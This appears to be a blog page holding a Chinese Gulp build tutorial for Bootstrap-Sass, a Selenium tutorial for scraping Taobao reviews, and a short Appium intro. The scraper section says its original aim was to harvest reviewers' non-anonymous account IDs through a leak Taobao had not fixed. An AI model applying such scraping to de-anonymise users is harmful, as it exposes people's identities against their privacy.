    说完 BootStrap,我们再说下 Gulp,基于 Node.js。它干嘛的呢?就是一个前端自动化工具,什么用处?比如它可以编译 Less,Sass 生成到指定目录文件为 CSS,生成对应 map 文件,可以生成 JavaScript 的 map 文件,自动更新 html 中的 JS,CSS 引用路径,合并多个 JS,CSS 文件为统一整体,最小化压缩 JS,CSS 文件等等,最终目的呢?自动化替代重复劳动,提高效率。 说到 Gulp,就不得不提到它的竞争对手 Grunt,它具有和 Gulp 几乎一样的功能,然而 Grunt 有几个缺点,比如插件职责不明确,产生大量临时文件,语法繁琐等等。相比之下,Gulp插件职责明确,基于流式,不会产生临时文件,语法简单。冲着这几点,果断选择 Gulp。 利用 Gulp,我们就可以在项目中定义一个 gulpfile.babel.js 里面写入需要执行的任务,命令行执行 gulp 命令就可以完成自动化,一些重复的无聊的工作就不要你来做了。 Gulp中文网

    ES6

    说完 Gulp,然后就属 ES6 了,它是 ECMAScript 6 的简称,是 JavaScript 的一个新的版本类型,由于是 2015年发布的,所以也可以叫它 ES2015。我们之前编的 JavaScript 大多数是基于ES5或之前的版本,在 ES6 的基础上增加了许多新的语法特性,比如 Class,let,const 等等。 在 ES5 中,Gulp 的执行文件叫做 gulpfile.js,到了 ES6中,它就叫做 gulpfile.babel.js 了,多了一个 badel,那 babel 又是什么? 关于 ES6 的新特性预览可以看 ES6

    Babel

    Babel 其实是一个 JavaScript 编译器,支持 ES6,你可以用新型的 ES6 语法来编写你的 JavaScript,Babel 会为你生成对应的 ES5 的 JavaScript。乍看之下并没有什么关系,所以在这里你可以把 babel 看作 ES6 的代名词,在 Gulp 中,新型的 ES6 语法的 JavaScript 的 gulpfile 名字命名为 gulpfile.babel.js。 Babel

    NPM

    有一点 Node.js 基础的想必都知道这一个东西吧,Node Package Manager,Node.js 包管理器,利用它你可以安装 Node.js 的相关包,其中包括 Gulp。可以全局安装,加个 -g 参数,可以局部安装,需要路径下有个 package.json。 NPM怎样安装?安装了 Node.js 就好了。 Node.js 如果觉得速度慢,可以安装 CNPM,镜像源来源非国外,是淘宝的一个镜像源,速度快。 CMPM

    Bower

    在这里还需要用到一个工具 bower,类似 NPM,算是前端的一些组件管理工具,一些前端库比如 jquery,bootstrap 等等都可以用 bower 这个工具来下载,需要在根目录下建立一个 bower.json 和 .bowerrc 文件。利用 bower 我们就可以方便地管理前端的工具包了,不用我们去手动下载复制粘贴之类的。

    WebStorm

    在这再安利一个 IDE 吧,WebStorm,JetBrains公司出的一款强大又良心的编写前端的 IDE,支持各种插件,具有强大的语法提示,支持 JsHint 等代码检查,集成了终端,Git 等等强大的工具,Web 开发不二选择,推荐最新版本。 WebStorm

    准备工作

    扯完以上东西(其实还有好多没有扯完),让我们进入正题吧,正题是什么?哦没错,那就是

    基于 ES6 语法使用 Gulp 编写 gulpfile.babel.js 来编译 BootStrap-Sass 源码。

    下面是一些准备工作,没有做好的小伙伴请按照步骤一一完成。

    安装 Node.js 和 NPM

    从 Node 的官网下载 Node 并安装,安装流程不详细说明,安装完成之后 NPM 随之就会安装成功。 命令行下输入 npm 检查一下是否可以正常运行。

    安装 Gulp

    1
    npm install -g gulp

    加入 -g 参数是全局安装,安装完成之后你可以在任意位置使用命令。

    安装 Bower

    1
    npm install -g bower

    依然是全局安装 bower。

    下载 BootStrap-Sass

    可直接进入 BootStrap 页面点击第三个下载 Sass 源码。 也可以用 Git 将 BootStrap-Sass 的项目 clone 下来。

    安装 WebStorm

    推荐使用 WebStorm,可以开启 JsHint 等检测工具,具有强大的代码提示功能,不过不使用也没关系。 在你的 IDE 打开下载的项目,

    新建 gulpfile.babel.js

    gulpfile.babel.js 是基于 ES6 的 Gulp 处理文件,新建它,稍后所有的工作都在这里完成。

    新建 .babelrc

    新建 .babelrc 文件,内容

    1
    2
    3
    4
    5
    {
    "presets": [
    "es2015"
    ]
    }

    这是指定 gulp 使用最新标准的 JavaScript 进行编译。

    新建 .bowerrc

    新建 .bowerrc 文件,这是 bower 的配置文件,可以指定路径等相关配置,内容为

    1
    2
    3
    {
    "directory": "bower_components"
    }

    这是指定 bower 工具下载前端组件时会默认下载到这个文件夹中。

    修改 bower.json

    可以精简 bower.json 文件,比如修改名称,删去 main,ignore 配置等。 比如精简成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    {
    "name": "bootstrap-sass-demo",
    "authors": [
    "Germey"
    ],
    "description": "bootstrap-sass is a Sass-powered version of Bootstrap, ready to drop right into your Sass powered applications.",
    "moduleType": "globals",
    "keywords": [
    "twbs",
    "bootstrap",
    "sass"
    ],
    "license": "MIT",
    "dependencies": {
    "jquery": ">= 1.9.0"
    }
    }

    修改 package.json 在进行 Gulp 配置文件编写之前,首先需要引入一些 Node.js 开发包,比如 babel,gulp,wiredep等等。 修改 devDependencies 为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    "devDependencies": {
    "babel-core": "^6.4.0",
    "babel-preset-es2015": "^6.3.13",
    "babel-register": "^6.9.0",
    "browser-sync": "^2.2.1",
    "del": "^1.1.1",
    "gulp": "^3.9.1",
    "gulp-autoprefixer": "^3.0.1",
    "gulp-babel": "^6.1.1",
    "gulp-cache": "^0.2.8",
    "gulp-cssnano": "^2.0.0",
    "gulp-eslint": "^0.13.2",
    "gulp-htmlmin": "^1.3.0",
    "gulp-if": "^1.2.5",
    "gulp-imagemin": "^2.2.1",
    "gulp-load-plugins": "^0.10.0",
    "gulp-plumber": "^1.0.1",
    "gulp-sass": "^2.0.0",
    "gulp-size": "^1.2.1",
    "gulp-sourcemaps": "^1.5.0",
    "gulp-uglify": "^1.1.0",
    "gulp-useref": "^3.0.0",
    "main-bower-files": "^2.5.0",
    "wiredep": "^2.2.2"
    }

    执行

    1
    npm install

    安装所需要的库。 如此一来,所有的准备工作就差不多了。

    实战

    引入类库

    首先引入一些必须的类库

    1
    2
    3
    4
    5
    import gulp from 'gulp';
    import gulpLoadPlugins from 'gulp-load-plugins';
    import browserSync from 'browser-sync'
    import del from 'del';
    import {stream as wiredep} from 'wiredep';

    gulp 自不必多说,是 gulp 必须的核心类库。 gulp-load-plugins 是加载 gulp 插件的类库,我们知道 gulp 插件非常丰富,如果要一个个引入的话,需要写很多很多条 import 语句,引入了这个插件之后,调用时只需要加 点(.) + 插件名称 那就可以使用了。 browser-sync 是浏览器同步工具,如果有代码更新,浏览器会自动刷新更新资源。 del 是删除资源的工具包。 wiredep 是从 bower 同步到 html 中资源引用的插件,bower 中定义了依赖包,有了它,这些包的引用比如 js,css 就可以直接自动生成到 html 文件中。 接着初始化一些变量。

    1
    2
    const $ = gulpLoadPlugins();
    const reload = browserSync.reload;

    将加载插件的插件初始化为 $ 符号,然后初始化 reload 等变量。

    Sass 编译

    下载好 Sass 源码之后,打开 assets/stylesheets 目录,可以看到 BootStrap 的 Sass 源代码。不过发现文件名都是 _ 开头的,这种类型的文件是不能被编译生成的,所以新建一个 bootstrap.sass 文件,内容为

    1
    @import "_bootstrap";

    最后生成的目录结构如下

    1
    2
    3
    4
    5
    |_____bootstrap-compass.scss
    |_____bootstrap-mincer.scss
    |_____bootstrap-sprockets.scss
    |_____bootstrap.scss
    |____bootstrap

    接下来我们只需要编译 bootstrap.scss 即可。 定义一个路径配置

    1
    2
    3
    4
    const styles = {
    'in': 'assets/stylesheets/**/*.scss',
    'tmp': '.tmp/css',
    };

    包含 in 和 tmp 目录,in 代表 Sass 源文件地址,tmp 代表生成的编译后的 CSS 目录。 接下来最重要的,指定一个 Gulp Task

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    gulp.task('styles', () => {
    return gulp.src(styles.in)
    .pipe($.plumber())
    .pipe($.sourcemaps.init())
    .pipe($.sass.sync({
    outputStyle: 'expanded',
    precision: 10,
    includePaths: ['.']
    }).on('error', $.sass.logError))
    .pipe($.autoprefixer({browsers: ['> 1%', 'last 2 versions', 'Firefox ESR']}))
    .pipe($.sourcemaps.write())
    .pipe(gulp.dest(styles.tmp))
    .pipe(reload({stream: true}));
    });

    task 是 gulp 的一个核心方法,定义了 styles 这个 task 之后,就可以执行

    1
    gulp styles

    就可以完成以上定义的任务。 首先利用 gulp.src 引入了需要编译的 Sass 文件,然后利用一系列 pipe 流式管道来指定一系列处理任务。 plumber 是一个错误处理插件,当出现错误时,不会立即卡主,而是进入 plumber,防止程序运行终止。 sourcemaps 是用来生成映射文件的一个插件,map 文件记录了从 Sass 编译成 CSS 的过程中,每一行的 Sass 代码对应哪一行的 CSS 代码。 sass 是核心的编译 Sass 的插件,指定了输出格式 expanded,precision 指定了当输出十进制数字时,使用多少位的精度,然后指定了路径和错误日志。 autoprefixer 是一个以友好方式处理浏览器前缀的插件,比如一些 CSS 的定义会出现 -webkit- 等等,此插件是用来处理浏览器前缀的。

    Autoprefixer默认将支持主流浏览器最近2个版本,这点类似Google。不过你可以在自己的项目中通过名称或者模式进行选择: 主流浏览器最近2个版本用“last 2 versions”; 全球统计有超过1%的使用率使用“>1%”; 仅新版本用“ff>20”或”ff>=20”. 然后Autoprefixer计算哪些前缀是需要的,哪些是已经过期的。

    dest 是输出编译后的文件,指定输出路径。 reload 是同步浏览器资源的方法。 定义好如上内容之后,命令行输入

    1
    gulp styles

    就会发现出现了 .tmp 目录,里面有 css/bootstrap.css

    JavaScript 处理

    同理,定义一个 task,用来处理 JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    gulp.task('scripts', () => {
    return gulp.src(scripts.in)
    .pipe($.plumber())
    .pipe($.sourcemaps.init())
    .pipe($.babel())
    .pipe($.sourcemaps.write('.'))
    .pipe(gulp.dest(scripts.tmp))
    .pipe(reload({stream: true}));
    });

    相比之下,此处多了一个 babel 插件。 babel 是基于 ES6 标准的一个 JavaScript 插件,它可以对 ES6 版本的代码进行转换,转换成 ES5 标准,避免出现出现 ES6 不兼容问题。 在此处还需要 scripts 的路径定义

    1
    2
    3
    4
    5
    const scripts = {
    'in': 'assets/javascripts/**/*.js',
    'tmp': '.tmp/js',
    'out': 'dist/js'
    };

    定义完成之后,执行

    1
    gulp scripts

    就可以完成 JavaScript 的转换。 另外还有一个专门负责代码风格转换的 task,使用了 eslint 这个插件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const lint = {
    'in': 'assets/javascripts/**/*.js'
    };
    gulp.task('lint', () => {
    return gulp.src(lint.in)
    .pipe(reload({stream: true, once: true}))
    .pipe($.eslint.format())
    .pipe($.if(!browserSync.active, $.eslint.failAfterError()));
    });

    执行

    1
    gulp lint

    之后,就可以进行代码风格的标准化。

    HTML处理

    我们可以发现,在前面的输出路径都是 .tmp 临时目录,后面还会有一个目录是 dist 目录,试想一下,如果我们编译了 BootStrap 而在 HTML 中没有引用,那编译来还有必要吗? 所以说,.tmp 作为临时目录,它可以存放被编译后的文件,但是不一定会被引用。被真正引用的文件才是真正有用的文件,我们将它放到 dist 目录。 所以接下来的 HTML 处理就是检查一下有哪些 CSS 和 JS 被引用了,可以将它们合并,然后将新的文件放到 dist 并更新它的引用路径。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const html = {
    'in': 'assets/*.html',
    'out': 'dist'
    };
    gulp.task('html', ['styles', 'scripts'], () => {
    return gulp.src(html.in)
    .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
    .pipe($.if('*.js', $.uglify()))
    .pipe($.if('*.css', $.cssnano()))
    .pipe($.if('*.html', $.htmlmin({collapseWhitespace: true})))
    .pipe(gulp.dest(html.out));
    });

    在这里定义了一个 task 叫做 html,第二个参数是 styles 和 scripts 组成的数组,意思是在执行这个 task 之前,首先要执行这两个任务。 在处理时用到了 useref 这个插件,它可以检测 HTML 中引用的 CSS 和 JS,可以执行合并和压缩,然后更新新的路径。 这个插件的作用如上所述。 比如 HTML 当前内容是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <!-- bower:css -->
    <!-- endbower -->
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->
    </head>
    <body>
    <h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4>
    </body>
    <!-- bower:js -->
    <!-- endbower -->
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->
    </html>

    可以看到

    1
    2
    3
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->

    这里引用了 .tmp 目录下的 bootstrap.css,然后在外面用注释的形式定义了构建的路径和文件名。 那么执行这个任务之后,它便会将当前引用的 .tmp 目录下的 bootstrap.css 处理并输出为 combined.css,然后新生成的 HTML 文件的引用路径也相应改为 combined.css JS 也是同理

    1
    2
    3
    4
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->

    在此处是将两个文件处理合并为 combined.js 执行

    1
    gulp html

    后,会新生成一个 HTML 文件到 dist 目录,内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Welcome</title><!-- bower:css --><!-- endbower -->
    <link rel="stylesheet" href="css/combined.css">
    </head>
    <body><h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4></body><!-- bower:js --><!-- endbower -->
    <script src="js/combined.js"></script>
    </html>

    dist 的目录结构为

    1
    2
    3
    4
    5
    |____css
    | |____combined.css
    |____index.html
    |____js
    | |____combined.js

    以上为利用 useref 插件进行 HTML 处理的过程。

    图片压缩处理

    接下来是对图片字体及其他格式文件的处理。 图片的主要处理是进行压缩

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    const images = {
    'in': 'assets/images/**/*',
    'out': 'dist/images'
    };
    gulp.task('images', () => {
    return gulp.src(images.in)
    .pipe($.imagemin({
    progressive: true,
    interlaced: true,
    svgoPlugins: [{cleanupIDs: false}]
    }))
    .pipe(gulp.dest(images.out));
    });

    定义好了 images 的输入和输出路径之后,定义 images 这个 task,在这里使用了 imagemin 这个插件 imagemin 插件是用来压缩图片的插件,处理后图片的占用空间会变小。 执行

    1
    gulp images

    即可完成对图片的压缩

    字体处理

    字体的处理,筛选出某些特定格式的字体,输出到指定目录

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const fonts = {
    'in': ['assets/fonts/bootstrap/*'],
    'tmp': '.tmp/fonts',
    'out': 'dist/fonts'
    };
    gulp.task('fonts', () => {
    return gulp.src(require('main-bower-files')('**/*.{eot,svg,ttf,woff,woff2}', function(err) {
    })
    .concat(fonts.in))
    .pipe(gulp.dest(fonts.tmp))
    .pipe(gulp.dest(fonts.out));
    });

    执行

    1
    gulp fonts

    即可完成字体的处理

    额外文件处理

    在项目中还存在非 HTML 的文件,比如 视频,音频,PHP等。这些做一下统一判断然后归档即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const extras = {
    'in': [
    'assets/*.*',
    '!assets/*.html'
    ],
    'out': 'dist'
    };
    gulp.task('extras', () => {
    return gulp.src(extras.in, {
    dot: true
    }).pipe(gulp.dest(extras.out));
    });

    其中 in 指定了在 asset 目录中除 html 后缀的文件,此处进行读入筛选,然后输出到指定路径即可。 执行

    1
    gulp extras

    即可完成额外文件的处理

    文件依赖处理

    设想一个情景,一个项目需要很多很多依赖库,我们在 bower.json 中定义好了所有的依赖,使用 bower 将他们下载了下来,如果我们需要在 HTML 中引用他们,如果我们还是手动地添加一个个引用那是不是太麻烦了? 没错,这个操作同样可以自动化操作,借助 wiredep 插件即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    const wire = {
    'in': 'assets/*.html',
    'out': 'dist'
    };
    gulp.task('wiredep', () => {
    gulp.src(wire.in)
    .pipe(wiredep({
    ignorePath: /^(\.\.\/)*\.\./
    }))
    .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
    .pipe($.if('*.js', $.uglify()))
    .pipe($.if('*.css', $.cssnano()))
    .pipe(gulp.dest(wire.out));
    });

    在这里使用了 wiredep 插件。 在 HTML中定义如下内容

    1
    2
    <!-- bower:js -->
    <!-- endbower -->

    执行

    1
    gulp wiredep

    之后,便会自动更新 bower.json 中所有依赖库的引用,在这里以 JS 为例子。 当前在 bower.json 中定义了

    1
    2
    3
    "dependencies": {
    "jquery": ">= 1.9.0"
    }

    执行完毕之后,HTML中便有了

    1
    2
    3
    <!-- bower:js -->
    <script src="/bower_components/jquery/dist/jquery.js"></script>
    <!-- endbower -->

    路径会随之更新。

    服务器

    最后是一个 serve 的 task 在本地搭建一个服务器来测试,同时监听文件的变动随时更新资源文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    const serve = {
    'baseDir': ['.tmp', 'assets'],
    'baseDirDist': ['dist'],
    'routes': {
    '/bower_components': 'bower_components'
    },
    'port': 9000
    };
    gulp.task('serve', ['styles', 'scripts', 'fonts', 'wiredep'], () => {
    browserSync({
    notify: false,
    port: serve.port,
    server: {
    baseDir: serve.baseDir,
    routes: serve.routes
    }
    });
    gulp.watch([
    html.out, scripts.tmp, scripts.out, images.out, fonts.tmp, fonts.out
    ]).on('change', reload);
    gulp.watch(styles.in, ['styles']);
    gulp.watch(scripts.in, ['scripts']);
    gulp.watch(fonts.in, ['fonts']);
    gulp.watch('bower.json', ['wiredep', 'fonts']);
    });
    gulp.task('serve:dist', () => {
    browserSync({
    notify: false,
    port: serve.port,
    server: {
    baseDir: serve.baseDirDist
    }
    });
    });

    上述 serve 首先要执行 styles, scripts, fonts, wiredep 的操作,然后在 9000 端口上运行。 同时利用 watch 方法监听文件的变动,随时更新。

    删除和一键构建

    最后还有清理构建文件和一键构建的功能。 清理 task 叫做 clean。

    1
    gulp.task('clean', del.bind(null, ['.tmp', 'dist']));

    即将 .tmp 和 dist 目录进行清理。 一键构建就是执行其他所有操作,将所有操作汇总。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const build = {
    'in': 'dist/**/*'
    };
    gulp.task('build', ['lint', 'html', 'images', 'fonts', 'extras'], () => {
    return gulp.src(build.in).pipe($.size({title: 'build', gzip: true}));
    });
    gulp.task('default', ['clean'], () => {
    gulp.start('build');
    });

    最后执行了一个总的压缩汇总,

    代码

    以上便是利用 Gulp 编译 Bootstrap-Sass 的全部过程。 整个项目的代码如下 GulpBootstrapSass 如果有问题,欢迎留言交流,希望对大家有帮助!

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    更新

    其实本文的初衷是为了获取淘宝的非匿名旺旺,在淘宝详情页的最下方有相关评论,含有非匿名旺旺号,快一年了淘宝都没有修复这个。 可就在今天,淘宝把所有的账号设置成了匿名显示,SO,获取非匿名旺旺号已经不可能了。那本节就带大家抓取匿名旺旺号熟悉一下 Selenium 吧。

    2016/7/1

    前言

    嗯,淘宝,它一直是个难搞的家伙。 而且买家在买宝贝的时候大多数都是匿名评论的,大家都知道非匿名评论是非常有用的,比如对于大数据分析,分析某个宝贝的购买用户星级状况等等。 现在已经不能获取非匿名了,此句已没有意义了。 对于抓淘宝,相信尝试过的童鞋都能体会到抓取它到艰辛,最简单的方法莫过于模拟浏览器了,本节我们就讲解一下利用 Selenium 抓取淘宝评论的方法。 项目提供了如下功能:

    • 输入淘宝关键字采集淘宝链接并写入到文件
    • 从文件读取链接,执行评论采集
    • 将评论和旺旺号保存到 Excel 中
    • 记录当前采集链接索引,保存进度

    准备工作

    在开始本节之前 你需要了解一些基础知识,我们需要用到 Selenium 这个东西,详情请看 Selenium 用法 我们首先讲解一下你需要做怎样的配置。 首先你需要安装 Python,版本是 2.7 然后需要安装的 Python 类库。

    1
    pip install pyquery selenium twisted requests xlrd xlwt xlutils

    安装浏览器 Chrome,安装浏览器 Chrome,安装浏览器 Chrome。 然后下载 ChromeDriver,ChromeDriver 是驱动浏览器的工具,需要把它配置到环境变量里。 有的童鞋说,为什么不用 PhantomJS,因为为了防止淘宝禁掉我们,需要登录淘宝账号,登录过程可能会出现奇奇怪怪得验证码,滚动条,手机验证,如果用 PhantomJS 的话不方便操作,所以在这里我们就使用 Chrome 了。 ChromeDriver 上面是 ChromeDriver 的下载地址,谷歌都上得了,这个不在话下吧,这是最官方的版本,其他链接请自行搜索。 找到对应平台的 ChromeDriver,解压后将可执行文件配置到环境变量里,配置到环境变量里,配置到环境变量里!重要的话说三遍。

    流程简述

    首先我们拿一个例子来演示一下全过程。 随意打开天猫一个链接 示例链接 我们首先观察一下评论,可以发现所有的评论都是匿名的。即使这个用户不是匿名评论的,那也会显示匿名,淘宝这保密做的挺好。 QQ20160630-1@2x 心机的淘宝啊,那我们如果想获取一些旺旺号该咋办? 接下来我们返回宝贝详情页面,然后一直下拉下拉,拉到最最后,可以看到有个“看了又看”板块。 QQ20160630-0@2x 有没有!!发现了新大陆,这是什么?这是此宝贝相关宝贝以及它的一些评论。 看到了有非匿名用户了,哈哈哈,淘宝加密了评论,推荐部分却没有加密。 嗯,就从这里,我们把它们的旺旺号都抓下来,顺便把评论和购买的宝贝抓下来。 现在已经全部改成了匿名,上述话已经无意义了。 那么抓取完之后,保存到哪里呢?为了便于管理和统计,在这里保存到 Excel 中,那么就需要用到 xlrd, xlwt, xlutils 等库。 嗯,动机就是这样。

    实战爬取

    抓取过程

    首先我们观察这个链接,在最初的时候,其实网页并没有加载最下方的“看了又看”内容的,慢慢往下滑动网页,滑到最下方之后,才发现看了又看页面才慢慢加载出来。 很明显,这个地方使用了 Ajax,由于我们用的是 Selenium,所以这里我们不能直接来模拟 Ajax 的 Request,需要我们来模拟真实的用户操作。 所以我们要模拟的就是,在网页部分加载出来之后,模拟浏览器滑动到下方,使“看了又看”内容显示出来,然后获取网页源代码,解析之即可。 那么在这里就出现了两个至关重要的点,一个是判断网页框架大体加载出来,另一个是模拟滑动直到最下方的内容加载出来。 首先,我们解决第一个问题,怎样判断网页框架大体加载出来。我们可以用网页中的某个元素的出现与否来判断。 比如 QQ20160630-2@2x 这一部分是否加载出来。 审查一下代码,ID 叫做 J_TabBarBox,好,那就用它来作为网页初步加载成功的标志。 在 Selenium 中,我们用显式等待的方法来判断该元素是否已经加载成功。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    try:
    driver.get(url)
    WebDriverWait(driver, timeout).until(
    EC.presence_of_element_located((By.ID, "J_TabBarBox"))
    )
    except TimeoutException:
    return False
    if is_recommends_appear(driver, max_scroll_time):
    print u'已经成功加载出下方橱窗推荐宝贝信息'
    return driver.page_source

    接下来我们需要模拟下拉浏览器,不妨直接下拉到底部,再从底部向上拉,可能需要下拉多次,所以在这里定义了一个下拉次数,那么判断“看了又看”正文内容是否出现依然可以用显式等待的方法。 浏览器审查元素发现它的选择器是 #J_TjWaterfall li QQ20160630-3@2x 那么可以用如下方法来判断是否加载成功

    1
    2
    3
    4
    5
    try:
    driver.find_element_by_css_selector('#J_TjWaterfall li')
    except NoSuchElementException:
    return False
    return True

    下拉过程可以用执行 JavaScript 的方法实现。

    1
    2
    js = "window.scrollTo(0,document.body.scrollHeight-" + str(count * count* 200) + ")"
    driver.execute_script(js)

    其中 count 是下拉的次数,经过测试之后,每次拉动距离和 count 是平方关系比较科学,具体不再描述,当然你可以改成自己想要的数值。 嗯,加载出来之后,就可以用

    1
    driver.page_source

    来获取网页源代码了 用 pyquery 解析即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    doc = pq(html)
    items = doc('#J_TjWaterfall > li')
    print u'分析得到下方宝贝中的用户评论:'
    for item in items.items():
    url = item.find('a').attr('href')
    if not url.startswith('http'):
    url = 'https:' + url
    comments_info = []
    comments = item.find('p').items()
    for comment in comments:
    comment_user = comment.find('b').remove().text()
    comment_content = comment.text()
    anonymous_str = config.ANONYMOUS_STR
    if not anonymous_str in comment_user: #此句本来用来判断是否匿名,现淘宝已修复该漏洞,只能抓取全部匿名的了
    comments_info.append((comment_content, comment_user))
    info.append({'url': url, 'comments_info': comments_info})
    return info

    然后保存到 Excel 中。 运行结果截图 QQ20160630-7@2x 可以发现,另外提供了先登陆后爬取的功能,然后保存了爬取进度。

    采集链接

    刚才我们测试的链接是哪里来的?我们不能一个个去找吧?所以,在这里又提供了一个采集链接的过程,将采集的链接保存到文本,然后抓取的时候从文本读取一个个链接即可。 所以在这里我们模拟搜索的过程,关键字让用户输入,将搜索的链接采集下来。 在此 Selenium 模拟了输入文字,点击按钮和翻页的功能。 QQ20160630-4@2x 核心代码如下 下面的方法模拟了加载出搜索框之后输入文字点击回车的过程,将网页的结果返回。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    def get_results(keyword):
    driver = config.DRIVER
    link = config.SEARCH_LINK
    driver.get(link)
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.ID, "mq"))
    )
    except TimeoutException:
    print u'加载页面失败'
    try:
    element = driver.find_element_by_css_selector('#mq')
    print u'成功找到了搜索框'
    keyword = keyword.decode('utf-8', 'ignore')
    print keyword
    print u'输入关键字', keyword
    for word in keyword:
    print word
    element.send_keys(word)
    element.send_keys(Keys.ENTER)
    except NoSuchElementException:
    print u'没有找到搜索框'
    print u'正在查询该关键字'
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, "#J_ItemList div.productImg-wrap"))
    )
    except TimeoutException:
    print u'查询失败'
    html = driver.page_source
    return html

    下面的方法模拟了翻页的过程,到指定的翻页数目为止

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    def get_more_link():
    print u'正在采集下一页的宝贝链接'
    driver = config.DRIVER
    try:
    js = "window.scrollTo(0,document.body.scrollHeight)"
    driver.execute_script(js)
    except WebDriverException:
    print u'页面下拉失败'
    try:
    next = driver.find_element_by_css_selector('#content b.ui-page-num > a.ui-page-next')
    next.click()
    except NoSuchElementException:
    print u'找到了翻页按钮'
    driver.implicitly_wait(5)
    try:
    WebDriverWait(driver, config.TIMEOUT).until(
    EC.presence_of_element_located((By.CSS_SELECTOR, "#J_ItemList div.productImg-wrap"))
    )
    except TimeoutException:
    print u'查询失败'
    html = driver.page_source
    parse_html(html)

    运行结果截图 QQ20160630-5@2x 采集到到内容保存到 urls.txt 中 QQ20160630-6@2x 嗯,这下采集链接和爬取链接都有了。

    代码放送

    扯了这么多,许多童鞋已经蠢蠢欲动了,大声告诉我你们想要的是什么? 哦没错!代码! 嗯在这呢! 代码

    附加扯淡

    嗯想说一句,在这里还提供了一些可配置项,比如翻页最大次数,超时时间,下拉次数,登录链接等等。 都可以在 config.py 中配置。

    • URLS_FILE

    保存链接单的文件

    • OUT_FILE

    输出文本 EXCEL 路径

    • COUNT_TXT

    计数文件

    • DRIVER

    浏览器驱动

    • TIMEOUT

    采集超时时间

    • MAX_SCROLL_TIME

    下拉滚动条最大次数

    • NOW_URL_COUNT

    当前采集到第几个链接

    • LOGIN_URL

    登录淘宝的链接

    • SEARCH_LINK

    采集淘宝链接搜索页面

    • CONTENT

    采集链接临时变量

    • PAGE

    采集淘宝链接翻页数目

    • FILTER_SHOP

    是否过滤相同店铺

    • ANONYMOUS_STR

    匿名用户标志,已失效

    哦,对了,程序怎么用啊?看 README!

    Other

    在网上搜了很多关于Appium的教程,但没有系统完整的教程,在网上找了本关于appium的英文书籍,边学边翻译,同时记录学习心得,与志同道合的人一起交流探讨! 去除很多繁琐的东西,添加自己实践的东西,一起交流,有写错的或者翻译不对的地方,请各位大神指出来,一起交流进步 第一章 Appium的工作原理 1.iOS端 执行测试脚本,发送HTTP请求给Appium Server , Appium Server发送命令给Apple Instruments, Apple Instruments寻找设备,开始执行脚本;每执行一条语句都会原路返回(执行的结果也就是我们常说的log) 2.Android端 首先Appium仅支持安卓版本17或以上版本!如果需要测试17以前版本,需要使用Selendroid.它的工作原理其实与iOS工作原理一样: 执行测试脚本,发送HTTP请求给Appium Server , Appium Server发送命令给UIAutomator(>=17时){Selendroid(<=17)} ,UIAutomator(>=17时){Selendroid(<=17)} 寻找设备,开始执行脚本;每执行一条语句都会原路返回(执行的结果也就是我们常说的log) 备注:执行脚本想要给Appium发送命令,其中必须有一个翻译器,翻译成Appium能识别的命令(Selenium JSON),这个工具简单理解就是把咱们写的脚本给转换成appium可以识别的命令。

    Python

    2022 年最新 Python3 网络爬虫教程

